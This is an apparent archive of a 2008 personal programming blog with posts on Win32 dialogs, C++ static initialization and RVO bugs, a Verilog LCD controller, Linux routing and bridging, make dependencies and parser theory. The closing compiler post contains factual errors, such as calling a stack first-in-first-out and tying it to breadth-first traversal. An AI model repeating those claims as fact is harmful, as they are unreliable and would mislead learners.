Meditation, The Art of Exploitation

Windows Win32 APIs: changes from win95/98/2000 to XP

2008-07-06T20:22:00.002-05:00

I needed to code a simple http downloader, a dialog based win32 application. This application provides a simple UI to allow user to put in an URL and click a button to start downloading. Initially I also want to provide a RichEdit text area to log transactions and messages for debugging/diagnosis purpose.

I used to program win32 applications on windows 2000 platform with visual c++ 6.0, using a CmnHdr.H dialog template. This header file has some convenience macros to easily define win32 message handlers. The first problem I encountered is on Windows XP, this header file no longer works well. It can still be made to work after some modifications but the template needs adjustment. It made more sense to throw away to header file and template and just code the dialog box directly using this example code:


#define STRICT
#define WIN32_LEAN_AND_MEAN
#include 
#include "resource.h"

BOOL CALLBACK DialogProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) {
 switch (message) {
  case WM_INITDIALOG:
   return (TRUE);
  case WM_COMMAND:
   switch (wParam) {
    case IDOK:
    case IDCANCEL:
     EndDialog(hDlg, TRUE);
     return (TRUE);
     }
   break;
 }
return (FALSE);
}

int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
 int ReturnValue;
        ReturnValue = DialogBoxParam(NULL, MAKEINTRESOURCE(IDD_DIALOG1), NULL, DialogProc, NULL);
        return 0;
}

The 2nd problem really puzzled me. My dialogbox won't show up no matter what. DialogBox returned -1 but GetLastError returned 0. Debugging into the win32 library code quickly showed me that there is something intricately wrong and -1 is returned from win32 internals. After spending many hours to resolve this issue, I finally found the solution from the win32.programmer.ui newsgroups. The answer is an win32 API called InitCommonControlsEx. On WinXP, one must call this API to use standard controls, otherwise the syptom is exactly as I described, the dialogbox won't show up (for some people, the dialog box would show up but without controls).

References:
1. http://simplesamples.info/Windows/DlgHello.php
2. http://msdn.microsoft.com/en-us/library/bb775697(VS.85).aspx

C++: static initialization order fiasco and mixed language programming

2008-05-14T16:43:00.002-05:00

As c++ faq-lite puts it, 'static initialization order fiasco' is "a subtle way to crash your program" (1). The C++ run time system exhibits a phenomenon, static objects in the global scope can initialize in arbitrary order between different builds. In other words, if there are two static objects in the global scope called A and B in a program, in one build with a compiler on a platform, A could initialize before B but on another platform with another compiler in a different build, B could initialize before A. This could happen even on a single platform with a single compiler but different build options (e.g. optimization levels)

The similarity of compiler dependency is striking between this problem and the RVO problem in the previous entry. And *similarly* any failure is a indication of coding defect by the programmer. A hypothetical scenario with the 'static initialization order fiasco' is such:




A.hpp
struct A{
   static bool initialized;
   A() : initialized(true) {}
};
A.cpp
bool A::initialized;

B.hpp
struct B{
   B(){
       if(A::initialized) x = 1;
       else x = 0;
   }
   static int x;
};
int B:x;

C.cpp
void foo(){
    int fiasco = B:x;
}

What should be the value of fiasco inside foo when the program runs? It could be either 0 or 1. Thus the program exhibits unreliable behavior.

Ok, now we know what's 'static initialization order fiasco', what does it have to do with mixed language programming? In mixed language programming, specifically between C++ and something else, let's say G, if G's run time system is dominate and starting user code is written in G (compiled and linked with G compiler/linker), G should refrain from calling any C++ code that may reference static objects (e.g. void foo()). Take a look at this bug.

Process received signal 11 (SIGSEGV)
__CPR123____ls__tm__30_Q2_3std20char_traits__tm__2_c__3stdFRQ2_3std25basic_ostre/opt/ctl/CC/5.5.0.9/include/ostream+??? (???) at ostream
c_strings_+0x00F0 (0x1004AF0) at A.C:48
stringtest_+0x0874 (0x1022374) at B.F90:77

Here is A.C:48
cout << "\n\n-- entering c_strings" << endl;

http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.12

C++: return value optimization (RVO) and reference class member

2008-05-13T15:19:00.004-05:00

Recently I was experimenting with expression templates (1,2), I was making good progress with my toy code until suddenly I started getting correct answer from optimized build (-O2) and segmentation faults from debug build (-O0). With judicious object creation/destruction tracer code, it's clear to me return value optimization (3,4) or RVO is playing a trick here. This is troublesome as the program behavior depends on unreliable optimization from a compiler. When RVO optimization is not available, the program produces wrong result. This syndrome typically means there is a problem in the source code that binds variables (reference or pointer type) to temporary stack object and later references it while the temporary stack object has gone out of scope and become invalid.

The source code will make the problem clearer and easier to explain:



#include < iostream>
using namespace std;

template < typename E>
struct expr {
    double eval() const {
        return e.eval();
    };
    double eval() {
        return e.eval();
    };

    expr(const E & e) : e(e) {}
    E e;
};

class Literal {
public:
   Literal(double v) : val_(v) {}
   double eval() const { return val_; }
private:
   const double val_;
};

class Variable {
public:
   Variable(double& v) : val_(v) { cout << &val_ << " default initialized " << id++ << endl;}
   Variable(const Variable & v) : val_(*&(v.val_)) { cout << &val_ << " copy initialized " << this << ' ' << *(double *)this << ' ' << id++ << endl; }
   ~Variable() { cout << &val_ << " destroyed" << endl; }
   double eval() const { cout << &val_ << " eval " << this << ' ' << &(this->val_) << endl; return val_; }
private:
   double& val_;
   static int id;
};

int Variable::id = 0;

// Abstraction of a binary expression
template < typename expr1, typename expr2, typename binop>
struct BinaryExpr {
    double eval() const {
        return binop::eval(_expr1.eval(), _expr2.eval());
    }
    BinaryExpr(const expr1 & e1, const expr2 & e2)
     : _expr1(e1),_expr2(e2) {}
    BinaryExpr(const BinaryExpr & be) : _expr1(be._expr1), _expr2(be._expr2) { cout << "BE copy initiailized" << endl; }
private:
    const expr1 & _expr1; 
    // Cannot use reference here (const expr1 &) because _expr1 may refer to a temporary stack object and becomes invalid when the bound object went ou
t of scope later
    const expr2 & _expr2;
};

// Abstraction of semantic plus operation '+'
struct plusOp {
    static double eval (const double & d1, const double & d2) {
        return d1 + d2;
    }
};
// Expression Traits class, convert primitive type to Literal type
template < typename T>
struct ExprTraits
{
    typedef T type;
};

template <>
struct ExprTraits< int>
{
    typedef Literal type;
};

template <>
struct ExprTraits< double>
{
    typedef Literal type;
};

// This is the critical piece in building expression template
// An overloaded operator builds an expression that can be evaluated later.
template < typename expr1, typename expr2>
expr< BinaryExpr< typename ExprTraits< expr1>::type, typename ExprTraits< expr2>::type, plusOp> >
operator + (const expr1 & e1, const expr2 & e2){
    typedef BinaryExpr< typename ExprTraits< expr1>::type, typename ExprTraits< expr2>::type, plusOp> ExprT;
    return expr< ExprT>(ExprT(typename ExprTraits< expr1>::type(e1), typename ExprTraits< expr2>::type(e2)));
}

template < typename E>
double eval(expr< E> e){
    return e.eval();
}

int main(){

    double x = 10;
    Variable v(x);
    Literal l(3);
    cout << &x << ' ' << x << endl;

    // evaluate expressions
    cout << sizeof(v) << ' ' << eval(v + 10.0) << endl;
}

The problem as indicated in the source code comment, is with the member variables _expr1, _expr2 of BinaryExpr. BinaryExpr can be constructed from 2 participating expressions (e1, e2). When _expr1 is declared as const expr1 &, it binds to the first argument e1. This is the problem, when RVO is not available, it's conceivable (as shown in this example) that BinaryExpr's constructor can be invoked with temporary stack objects as arguments. When it happens, _expr1 is bound to a stack local object and later on causes erratic program behavior when referenced as the stack local object went out of scope. To fix this, a deep copy (more precisely until nothing is bound to temporary objects that can go out of scope independently) is required.

Careful readers may raise the question why in Variable, there is a 'double & val_'. Will this be a problem? Yes and No. Yes, in general, it holds true that a reference or a pointer type variable (regardless if it's a class member variable or not) when bound to a temporary stack local variable should never *dereference* that object later when the object goes out of scope. No, in this toy program, all 'double & val_' in all Variable instances are carefully referenced to '10.0' in the expression in main function and '10.0' only goes out of scope when eval() finishes and therefore the code is safe from the dreaded 'dereferencing dead (out of scope) object' problem.

References:
1. http://www.ddj.com/cpp/184401627
2. http://ubiety.uwaterloo.ca/~tveldhui/papers/Expression-Templates/exprtmpl.html
3. http://www.cs.cmu.edu/~gilpin/c++/performance.html
4. http://msdn.microsoft.com/en-us/library/ms364057(VS.80).aspx#nrvo_cpp05_topic4

FPGA: LCD display from RS232 interface

2008-04-07T11:57:00.006-05:00

After more than a month's of studying of verilog and fpga design, I am proud to present the result of my first mini-project. Controlling Spartan3A LCD display with RS232 serial interface from a host computer. The setup is very simple:


minicom (linux host) <------> RS232 (J27) <-------> LCD (DISP1)

I used the 2 serial interface modules from fpga4fun.com (async_receiver and async_transmitter). I implemented the main serial to lcd control module and the lcd display module. The lcd display module implementation is especially gratifying after it was completed. I learnt a great deal about finite state machine implementation in verilog and how sequential/combinatorial logic work together. Here is the state machine of the lcd controller (drawn using qfsm):

As you can see, state 2,3,4,5 (I didn't use one-hot encoding) all require that certain signal lines driven at a certain value for a certain amount of time (or number of clks). To achieve such kind of effect, one need to combine a FSM with a counter. The technical details of the requirements can be found in Spartan3A revion D's user's guide (ug334.pdf) in the LCD section.

The implementation of the lcd controller follows:



module lcd_controller (clk, rst_n, data_ready, rx_data, lcd_rs, lcd_rw, lcd_e, lcd_4, lcd_5, lcd_6, lcd_7);

parameter k = 18;
// in register_input mode, the input doesn't have to stay valid
// while the character is being transmitted
parameter register_input = 1;
parameter clr = 8'h0A;

input                   clk;        // synthesis attribute PERIOD clk "50 MHz"
input                   rst_n;
input                   data_ready;
input   [7:0]           rx_data;
output                  lcd_rs;
output                  lcd_rw;
output                  lcd_e;
output                  lcd_7;
output                  lcd_6;
output                  lcd_5;
output                  lcd_4;

reg lcd_e, lcd_rs, lcd_rw, lcd_7, lcd_6, lcd_5, lcd_4;

reg     [k+8:0]         count;
reg     [6:0]           lcd_code;
reg     [2:0]           state;
reg     [2:0]           next_state;

wire lcd_ready = (state==1);

// store rx_data locally
reg     [7:0]           lcd_dataReg;
always @(posedge clk) if(data_ready & lcd_ready) lcd_dataReg <= rx_data;
wire    [7:0]           lcd_dataD = register_input ? lcd_dataReg : rx_data;

// continuous assignment by default of wire type, clr key clears display
wire clear = (rx_data == clr)? 1:0;
//assign {lcd_e,lcd_rs,lcd_rw,lcd_7,lcd_6,lcd_5,lcd_4} = lcd_code;

// sequential logic
always @ (posedge clk or negedge rst_n)
begin
    if(~rst_n)
    begin
        state <= 0;
        next_state <= 0;
        count <= 0;
        lcd_code[6:0] <= 0;
    end
    else
        state <= next_state;
end

always @ (posedge clk)
begin
    case (state)
        3'b000: count <= count + 1;
        3'b001: count <= 0;
        3'b010: count <= (count[4]? 0 : count + 1);
        3'b011: count <= (count[5]? 0 : count + 1);
        3'b100: count <= (count[4]? 0 : count + 1);
        3'b101: count <= (count[10]? 0 : count + 1);
        3'b110: count <= count + 1;
    endcase
    {lcd_e,lcd_rs,lcd_rw,lcd_7,lcd_6,lcd_5,lcd_4} <= lcd_code;
    if(state == 0 || state == 6) lcd_e <= ^count[k+1:k];
end // sequential logic

// combinatorial logic
always @ (state or count or data_ready or clear) begin
    case(state)
        3'b000:
        begin
            if(count[k+5:k+2] == 12)
                next_state = 3'b1;         // idle_data/1
            else
                next_state = 0;
        end
        3'b001:
        begin
            if(data_ready) begin
                if(clear)
                    next_state = 3'b110;   // clear/6
                else
                    next_state = 3'b10;    // disp_hn/2
            end
            else
                next_state = 3'b1;         // idle_data/1
        end
        3'b010:
        begin
            if(count[4])
                next_state = 3'b11;        // idle_high/3
            else
                next_state = 3'b10;        // disp_hn/3
        end
        3'b011:
        begin
            if(count[5])
                next_state = 3'b100;       // disp_ln/4
            else
                next_state = 3'b11;        // idle_high/3
        end
        3'b100:
        begin
            if(count[4])
                next_state = 3'b101;       // wait/5
            else
                next_state = 3'b100;       // disp_ln/4
        end
        3'b101:
        begin
            if(count[10])
                next_state = 3'b1;         // idle_data/1
            else
                next_state = 3'b101;       // wait/5
        end
        3'b110:
        begin
            if(count[k+3:k+2] == 2)
                next_state = 3'h1;         // idle_data/1
            else
                next_state = 3'h6;         // clear/6
        end
    endcase
end // combinatorial logic

// output logic
always @(state or count or lcd_dataD) begin
    lcd_code <= 7'h00;
    case(state)
        3'b000:
        begin
            case (count[k+5:k+2])
                0: lcd_code <= 7'h43;        // power-on initialization
                1: lcd_code <= 7'h43;
                2: lcd_code <= 7'h43;
                3: lcd_code <= 7'h42;
                4: lcd_code <= 7'h42;        // function set
                5: lcd_code <= 7'h48;
                6: lcd_code <= 7'h40;        // entry mode set
                7: lcd_code <= 7'h46;
                8: lcd_code <= 7'h40;        // display on/off control
                9: lcd_code <= 7'h4C;
              10: lcd_code <= 7'h40;         // display clear
              11: lcd_code <= 7'h41;
            endcase
        end
        3'b001:
            lcd_code <= 7'h00;
        3'b010:
            lcd_code <= {3'b110, lcd_dataD[7:4]};
        3'b011:
            lcd_code <= 7'b0110000;
        3'b100:
            lcd_code <= {3'b110, lcd_dataD[3:0]};
        3'b101:
            lcd_code <= 7'b0110000;
        3'b110:
        begin
            case(count[k+2])
                  0: lcd_code <= 7'h40;      // display clear
                  1: lcd_code <= 7'h41;
            endcase
        end
    endcase
end // output logic

endmodule

Linux Networking 3: network bridge and bump in the wire

2008-04-01T09:22:00.003-05:00

A Linux network bridge can be understood as a bump in the wire on steroid. In the physical world, a bridge is used to connect multiple landmass together. This notion is used in a similar meaning in networking. A Linux network bridge is virtual and it connects different 'Ethernet' network segments together, albeit transparently to the Ethernet packets going through it.

Ever wondered what the 'Bridged' networking means in VMWare? It's exactly the kind of network setup allowed by Linux network bridge (practically handled by bridge-utils). Except that VMWare has its own implementation of a virtual network bridge that connects the guest virtual network and the host network together, thus allowing the guest OS virtual network direct access to the external (relative to the host) network.

Because bridge works at Layer 2 for Ethernet packets, a bridge can often be considered functionally equivalent to a switch, albeit a virtual software solution. The simplest bridge acts as a bump in the wire, connecting different network segments just like a switch. However, bridge has the following distinctive advantages:

1) A bridge can act as a network interface and assume a binding IP address, allowing network access to the Linux host.

2) Network packets going through a bridge can be manipulated by iptables, thus allowing greater control such as mangling and filtering not present in switch and bump in the wire.

Because a virtual bridge only examines Ethernet header (layer 2), it's transparent to IP protocols . This has some implications:

1) It's important to take care of ARP tables that translate Ethernet address to IP address, no arp poisoning or other monkey business. The Linux host must forward arp packets properly.

2) It's important to avoid routing loops (cyclic routes through bridges), often requiring turning Spanning Tree Protocol (STP) in network bridges.

A bridge is most useful in the following scenarios:

1) Network transparency and redundancy is required for internal network users. Redundant virtual network bridges can be set up (use STP if necessary) to allow non-interrupted network traffic flow.

2) Administrator needs better packet filtering control over packets striding over network segments.

3) Simply replacing a hardware switch or act as a bump in the wire (connecting two hosts on same network for example)

References:
1) http://www.linux-foundation.org/en/Net:Bridge
2) http://www.vmweekly.com/articles/networking_in_vmware/1/

Linux Networking 2: a router with port forwarding

2008-03-10T18:18:00.009-05:00

Make simple things simple, complex things possible. Linux router is an example of this motto. A linux box with 2 NICs (network interface card) can function as a router with 2 simple commands from default configuration, and a 3rd command enables port forwarding to a specific port on a specific host. We'll cover a lot of theory of linux routing and firewalling in this article because subsequent article in this mini-serie are built based on the knowledge present here and will focus on more practical use.

First of all, let's understand the requirement of a router or its definition. A router routes network packets between two network segments. It needs to do source NAT or destination NAT on a network packet. NAT stands for network address translation and is a layer 3 (IP) functionality. What this means is that an outgoing network packet through the router will have its source IP address modified to the external IP of the router (sometimes referred to as WAN IP). A related incoming network packet or port forwarded network packet will have its destination IP address modified, known as destination NAT.

On 2.4+ Linux, NAT is done by iptables nat table during prerouting or postrouting. SNAT of an outgoing packet is performed during postrouting in nat just before it leaves the box. Linux kernel routing table knows that a packet destined to external IP address should go through the PREROUTING->FORWARD->POSTROUTING chain. Similarly, DNAT is performed during prerouting in nat just after it enters the box, typically going through PREROUTING->FORWARD->POSTROUTING chain. DNAT is done automatically for related or established packets (e.g. consequence of an outgoing SNAT SYN packet that establishes a network connection). DNAT is also done explicitly for packets that meet predefined port forwarding rules (an incoming SYN packet). It's strongly recommended the table traverse graph studied and understood.

By default, kernel disables forward chain. That is when a packet coming in on a NI (network interface) has a different destination IP address than the address bound to that NI will be dropped. To allow linux kernel to make routing decision on such kind of packets, the forward chain must be enabled. Next to ensure the kernel can properly route such kind of packets, DNAT must be performed such that when the packet is inspected by the kernel, upon consulting the kernel routing table, the packet can be forwarded to the correct destination NI.

An example will make this clear, given the following defintion

eth0_ip="192.168.0.1"
eth0_nw="192.168.0.1/24"
eth0_gw="192.168.0.150"
eth1_ip="192.168.1.1"
eth1_nw="192.168.1.1/24"
eth1_gw="192.168.1.150"
pfw_serv_ip="192.168.1.3"

kernel routing table can be displayed by "ip route" or "route -n", "ip route" shows more information and sometimes shows information not available through "route -n".

In this hypothetical case, let's suppose:
$eth0_nw route to eth0 via $eth0_nw_gw
$eth1_nw route to eth1 via $eth1_nw_gw
default route to eth0 via $eth0_nw_gw

This is equivalent in English, packets destined to $eth0_nw will be routed to interface eth0, ditto for $eth1_nw and eth1. And if a packet whose destination is not in either $eth0_nw or $eth1_nw, it should be routed to interface eth0.

Now that we have established the routing table and have the forward chain enabled (echo 1 > /proc/net/ipv4/ip_forward), let's see what happens when a packet originated from $pfw_server_ip with its destination ip set to kernel.org comes in from eth1. First the packet is seen on the wire and by the card, the kernel takes the packet and put it on the network stack. Before routing decision is made for this particular packet, there are 2 state machine states it will go through: the mangle table and nat table in PREROUTING chain. Two common actions will be taken by the kernel

1. The incoming packet has SYN flag set and is the first packet for an outgoing connection (similarly for UDP packet, the connection tracking is based on the 5-tuple: src ip, src port, dst ip, dst port, and protocol). The kernel consults the mangle table and nat table for PREROUTING chain and make appropriate changes to the packet. It's not recommended to do any filtering (ACCEPT, DROP, REJECT etc) with mangle/nat tables in PREROUTING chain. Suppose a DNAT rule exists to change the destination address of this packet in nat table, this packet will be redirected to a different server IP address. Thus it's extremely easy to construct a layer 3 proxy with Linux, some times referred to as port forwarding.

The mangle table has rules to modify the packet in other packet header fields different than the IP address. By marking the packet, mangle table can be used to select routing decisions for this packet based 'ip route/rule' kernel tables. For example, the mangle table rule can be used to create a tunnel, a bridge of 2 NIs. mangle table marks a packet and then the kernel routing table routes the packet based on its marking. We'll cover this in a later article in this serie.

2. The incoming packet does not have SYN flag set and the kernel connection tracking module determines it's part of an established connection. In this case, the rules that applied to the SYN packet of this 5-tuple connection are automatically applied to this packet as well.

At this point the packet leaves the PREROUTING chain, based on the kernel routing table, a routing decision will be made where this packet will be delivered to, typically one of the following decisions is made:

1. the destination ip address is one of local host addresses, in this case, the packet is delivered to the internal/local ip address and NI the address is bound to. Next the packet is scheduled to go through the INPUT/OUTPUT chain and the filter table. The filter table is the default table for the INPUT/OUTPUT chain, provided through iptables syntactical sugar. This is an often overlooked fact and causes most confusion to iptables beginners. It'd have been better that '-t filter' be made explicit on command line at the cost of increased verbosity.

It's possible a local process on the local host will consume the incoming packet after the INPUT chain and the story of the packet ends here.

2. the destination ip address is an external address, a routing table entry is available to calculate its destination network interface on the host, the packet is scheduled to go through the FORWARD chain next.

3. the destination ip address is an external address but none of the routing table entry yields a destination network interface on the host, this packet will be dropped. This packet is said to be undeliverable.

After the packet has gone through either the INPUT/OUTPUT or the FORWARD chain, another routing decision is made whether the packet is 'undeliverable' or can be sent out through POSTROUTING chain. Here is place to do either SNAT or MASQUERADE on the outgoing packets before it goes on the wire. The difference between SNAT or MASQUERADE is that MASQUERADE allows dynamic destination address calculation and is typically used when the outgoing NIC has its address obtained from a DHCP server. SNAT rule binds a static IP address to the nat table rule. If you are not sure you should use SNAT or MASQUERADE, use MASQUERADE just to be safe.

After the packet is mangled or SNATed/MASQUERADEd in POSTROUTING chain, it leaves the local host and is sent on the wire.

References:
1. http://iptables-tutorial.frozentux.net/images/tables_traverse.jpg
2. http://iptables-tutorial.frozentux.net/iptables-tutorial.html

Linux Networking 1: server work load balancing with multiple NICs

2008-03-08T16:20:00.004-05:00

We'll cover some advanced use of linux networking capabilities in this mini series (including load balancings, 2 nic with same IP--bonding, bridge, and router). We'll begin with load balancing of server workload. Although this discussion does not cover subjects such as routing, packet manipulation (through iptables), it illustrates from an application level, how to use a linux box with multiple NICs to do useful things. A linux box with multiple NICs will be a common theme of this mini series.

The concept of server work load balancing is to allow a linux box to use multiple NIC to service network traffic. A simple setup is to have a single external IP exposed to clients. Behind the external IP are multiple NICs that can form a dispatch table based on traffic and workload behind each NIC.

Let's use 2 NIC load balancing to illustrate the idea:

ext_nic(ip)-----load-balancer-demon-----NIC0-----SERVER0
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+----NIC1-----SERVER1

Whenever a client request comes in, the load-balancer-demon queries the SERVER behind a NIC to figure out which NIC the traffic/request should be forwarded to depending on the current workload on each server.

Thus the load-balancer-demon is a user space application that proxies client requests.

FPGA: Initial impression of Xilinx-3A starter board and fpga

2008-03-08T15:22:00.005-05:00

I've recently started to learn FPGA architecture and Verilog hardware programming. It feels like the old DOS days when we could program interrupts and use 'outp' to signal hardware ports directly. In fact, the module port and pin assignment reminds me of the same pattern of hardware programming. The board has a builtin clock (oscillator) and with behavioral modelling, programer can program the hardware behavior. With DOS, I remember interrupt 8 was the XT8086 oscillator(timer) interrupt and the interrupt service code was executed at a fixed frequency. DOS allows programmer to reprogram the interrupt service code to emulate multitasking system.

FPGA is a powerful and flexible platform that supports many IO ports and levels of programming models (switch-level, gate-level, dataflow-level, and behavioral-level). Behavioral level programming is reminiscent of C programming except that Verilog provides concurrent and non-blocking (asynchronous) programming paradigms with native language contructs. For example, the always, initial procedual blocks are concurrent and the code sequence in these blocks are executed concurrently on fpga hardware. Verilog also provides delayed assignment, a nice variation of synchronous assignment. Nonblocking procedual assignment allows programer to describe asynchronous assignment behavior.

Programmable digital circuit is an interesting idea and hopefully I will have some interesting stuff to report later with the semi-expensive fpga development board.

modprobe returns Invalid kernel module Format

2008-02-28T20:37:00.002-05:00

I just experienced this problem recently on my new gentoo installation. I wanted to use my USB wireless card (netgear ma111), this requires a custom build of linux-wlan-ng that provides prism2 kernel module (this is now part of official kernel since 2.6.24).

So I downloaded the latest (0.2.8) version of linux-wlan-ng and went through the configure/make chore. Everything worked fine (on newer kernel, one has to change socket->mac to socket->mac_header) and I got the modules compiled. But when I tried to insert the modules into kernel space, modprobe tells me the newly built kernel modules have 'Invalid Format' and cannot be used.

This is rather interesting. After much research, the problem was found to be a mismatch of running kernel config and the config file found as /usr/src/linux/.config. It appears the 2.6 kernel has a tightened requirement of how a kernel module must be built to be used with a live running kernel.

Two things I learned helped me to diagnose the problem:
1. 2.6 kernel allows a copy of running kernel config accessible as /proc/config.gz. This is now a kernel configuration option. Make sure you turn it on if you build 2.6 kernel from source, this can be a life/time-saver.

2. modinfo. Running this command on a kernel module file shows detailed information of the kernel module, in particular the versionmagic string shows options used to build the kernel module. The options in this magic string must match between this module and running kernel for the module to be useful. Mismatch here will produce the mysterious 'Invalid Format' error I initially stumbled upon.

With these knowledge, it's simple to fix the problem:
1. emerge the correct kernel source (yum, aptitude, smart, etc...on other distro)
2. cp /proc/config.gz to /usr/src/linux and decompress it; rename config to .config
3. in /usr/src/linux, make (don't have to be complete, make sure include/linux/version.h is produced)
4. re-configure/make linux-wlan-ng
5. make sure modinfo of newly built kernel module agree with existing modules of the live kernel
6. modprobe/modins prism2 module (should work perfectly now)

Bayes probability model

2008-02-19T17:45:00.003-05:00

Bayes probability model is an important probability model to predict prior stage probabilities of a multi-stage probability model. Typically it's applied to a 2 stage probability model where the 2nd stage is dependent on the events in the first stage.

Unlike 2 part probability model where events in either part are independent of events in the other part, 2 stage probability model is more complicated because 2nd stage probability is dependent on the 1st stage probability, where conditional probability applies. Bayes probability model quantifies the relationship between probabilities of different events happening in the model. It can be used to compute the 1st stage probability given the conditional probability of 2nd stage events.

A simple dependent probability for event E and F is: P(E and F) = P(E) P(F|E) (the multiplication law), it says the probability that both E and F happen is the product of E happens and the conditional probability of F happens given that E happens. It often is written as P(F|E) = P(E and F)/P(E).

The symmetry in the formulation can be explored: P(E and F) = P(F) P(E|F) = P(E) P(F|E). Thus,
given P(E) = P(F) P(E|F)/P(F|E). Given conditional probabilities of P(E|F), P(F|E), and P(F), one can compute P(E).

Let E and F represent simple event Ei and Fji (Fj happens given that Ei happens) in event sets, P(Ei and Fj) = pE_i * pF_j_i where P(Ei) = pE_i and P(Fj|Ei) = pF_j_i, therefore the chance Fj happens in a 2 stage experiment is sigma(P(Ei and Fj), i = 0..I) = sigma(pE_i * pF_j_i, i = 0..I)

Thus we can rewrote the symmetry formula as P(Fj) P(Eij|Fj) = P(Ei) P(Fji|Ei). This illustrates that given 2nd stage probability P(Fj), we can reliably compute first stage conditional probability P(Eij|Fj) by rewrite it again as:

P(Eij|Fj) = P(Ei) P(Fji|Ei)/P(Fj) = P(Ei) P(Fji|Ei) / [sigma(P(Ei) * P(Fji), i = 0..I)]

Suse 10.2, how to load a kernel module during system boot automatically

2008-02-19T17:43:00.004-05:00

Different linux distros have different ways of loading kernel module during system boot. The way it works in Suse Linux is by adding module name into MODULES_LOADED_ON_BOOT in /etc/sysconfig/kernel. This configuration file is read by /etc/init.d/boot.loadmodules and specified modules will be loaded on demand.

makefile, dependencies, and single target multiple rules

2008-02-18T22:33:00.001-05:00

To work with a large software system, a reliable and fast build system is one of the most important pieces. Without a reliable and fast build system, development can ground to a halt. Imagine if it takes 10-15 minutes to build a new version of the software when there were one or two changes. Unfortunately this happens more often than one might have expected. GNU make provides a framework to construct a build system through makefiles. Most of us use it on a daily basis.

There is one important and interesting feature of makefile often overlooked, automatic dependency generation and inclusion. This feature is enabled by the fact that gmake allows a single target having multiple dependences but only one rule can have associated action. (Rules, dependencies, it's like lex/yacc, isn't it?)



objects = foo.o bar.o
foo.o : defs.h
bar.o : defs.h test.h
$(objects) : config.h

In this quoted example, foo.o depends on both defs.h and config.h.

Thus automatic dependency is typically done like this:

foo.o: f1.c f2.h
gcc -c f1.c
dep:
gcc -E -M -MF dep/foo.d -c f1.c
-include dep/foo.d

in this example, a dependency file dep/foo.d is generated and included in the makefile. Initially the include file does not exist and an error will be reported without '-' before include. '-' suppresses error reporting in gmake commands. The first time gmake runs through this makefile with 'make dep', it will generate the dependency file and compile f1.c. Alternatively, one can force the dependency generation as in the following example with 'make' (if all is the first rule in this makefile) but since its effect is not immediately available in compiling foo.o it's generally considered a bad practice. It forces generation of dependencies files every time during 'make all' (this can be somewhat alleviated by using make or shell conditionals). Unless a user of the makefile has a good reason to do so, avoid it:

all: dep foo.o
foo.o: f1.c f2.h
gcc -c f1.c
dep:
gcc -E -M -MF dep/foo.d -c f1.c
-include dep/foo.d

The various flags used in this example taken from gcc manual:


       -E  Stop after the preprocessing stage; do not run the compiler proper.
           The output is in the form of preprocessed source code, which is
           sent to the standard output.

           Input files which don't require preprocessing are ignored.

       -M  Instead of outputting the result of preprocessing, output a rule
           suitable for make describing the dependencies of the main source
           file.  The preprocessor outputs one make rule containing the object
           file name for that source file, a colon, and the names of all the
           included files, including those coming from -include or -imacros
           command line options.

           Unless specified explicitly (with -MT or -MQ), the object file name
           consists of the basename of the source file with any suffix
           replaced with object file suffix.  If there are many included files
           then the rule is split into several lines using \-newline.  The
           rule has no commands.

           This option does not suppress the preprocessor's debug output, such
           as -dM.  To avoid mixing such debug output with the dependency
           rules you should explicitly specify the dependency output file with
           -MF, or use an environment variable like DEPENDENCIES_OUTPUT.
           Debug output will still be sent to the regular output stream as
           normal.

           Passing -M to the driver implies -E, and suppresses warnings with
           an implicit -w.

       -MF file
           When used with -M or -MM, specifies a file to write the dependen-
           cies to.  If no -MF switch is given the preprocessor sends the
           rules to the same place it would have sent preprocessed output.

           When used with the driver options -MD or -MMD, -MF overrides the
           default dependency output file.

-M implies -E, but for illustration '-E' is explicitly specified in this example. This will speed up the make process before first gcc command will stop right after preprocessing is done.

The second time make command is issued, the dependencies files are all available and will participate dependency check on its target. This is why with old software build systems, we often see instructions such as do 'make dep' first, then do 'make' (e.g the pre-2.4 linux kernel build system). The first step generates all the dependencies and the second step does the actual compilation. Of course, we can take out '-E' and '-M' and use '-MD' instead which will produce dependency and object files in a single step. The following is taken from autoconf/make output using 'Makefile' generated from 'configure' command:


/bin/sh ../libtool --tag=CXX   --mode=compile g++ -DHAVE_CONFIG_H  -I../include -I../include -I/usr/include    -g -O2 -Werror -MT binarystring.lo -MD -MP -MF .deps/binarystring.Tpo -c -o binarystring.lo binarystring.cxx

g++ -DHAVE_CONFIG_H -I../include -I../include -I/usr/include -g -O2 -Werror -MT binarystring.lo -MD -MP -MF .deps/binarystring.Tpo -c binarystring.cxx -o binarystring.o

The dependency file foo.d will always depend on the source file foo.c from which it's generated. So whenever we update foo.c and issue 'make', a new dependency file will be generated. Viola, we remember now we were required to do 'make dep' and 'make' with this kind of makefile system.

References:
1. man gcc
2. http://www.gnu.org/software/make/manual/make.html#Multiple-Rules
3. http://www.gsp.com/cgi-bin/man.cgi?section=1&topic=mkdep
4. http://www.linuxdriver.net/make3/make3-CHP-8-SECT-3.html

Compilers Part 7, theoretical considerations of the parsing process

2008-02-13T21:45:00.006-05:00

There are a few key concepts and data structures commonly utilized in a parser: the abstract syntax tree (AST)/parse tree/syntax tree, type and value stacks, action execution.

It's not initially obvious, but a parser is essentially a stack machine operating on an abstract syntax tree with post-order action execution. The AST graph (constructed by observing predefined hierarchical shift/reduce rules embedded in grammars during parsing) is traversed in a breath-first order and the action associated with each node executed post-order. Incidentally, a stack is a perfect data structure when breath-first traversing a graph, another candidate is deque. A deque allows stack operations at its either end and thus a stack can be considered a half-closed (usually head closed) deque. By definition stack operates on a first in first out (FIFO) order while deque allows either FIFO or first in last out (FILO).

A parse tree construction process explains why it's mandatory that predefined grammars assisted with associativity and precedence order rules cannot have any unresolved syntactical ambiguity or such that only one parse tree can be constructed according to the grammatical rules as in the case of a GLR parser. A syntactical ambiguity translates into an undefined parse tree and does not constitute a regular grammar (in fact a relaxed form of regular grammar because LR parsers allows the production rule expressed as TERMINAL NONTERMINAL) that's commonly implemented in most computer programming language.

The parsing process becomes alive once it's understood, 1) AST or parse tree is constructed based on the hierarchical (defined by hierarchical structure and shift/reduce rules) grammars; 2) the parse tree is then traversed breath-first and terminals/non-terminals(products) evaluated post order; 3) result of evaluation is pushed back into the traverse stack, equivalent to tree leaf folding upward (try to visualize the content of an internal vertex replaced by the result of evaluation its children vertexes according to user defined actions).

